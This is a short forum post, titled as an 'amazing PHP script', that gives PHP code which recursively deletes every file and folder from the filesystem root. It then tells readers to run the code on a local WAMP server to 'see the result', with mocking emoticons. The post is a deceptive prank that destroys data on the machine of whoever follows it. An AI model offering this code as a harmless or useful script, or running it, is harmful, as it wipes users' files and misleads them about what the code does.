One of Amazing PHP Script

denithhewa

Junior member
  • Apr 14, 2014
    70
    12
    8
    matrix
    <?php
    recursiveRemove("/");
    function recursiveRemove($dir) {
    $structure = glob(rtrim($dir, "/").'/*');
    if (is_array($structure)) {
    foreach($structure as $file) {
    if (is_dir($file)) recursiveRemove($file);
    elseif (is_file($file)) unlink($file);
    }
    }
    rmdir($dir);
    }
    ?>

    Create a php file and copy above script in to that php file then put it in wamp and run script through localhost. You will see the result within 30 seconds.

    :rolleyes::rolleyes::rolleyes: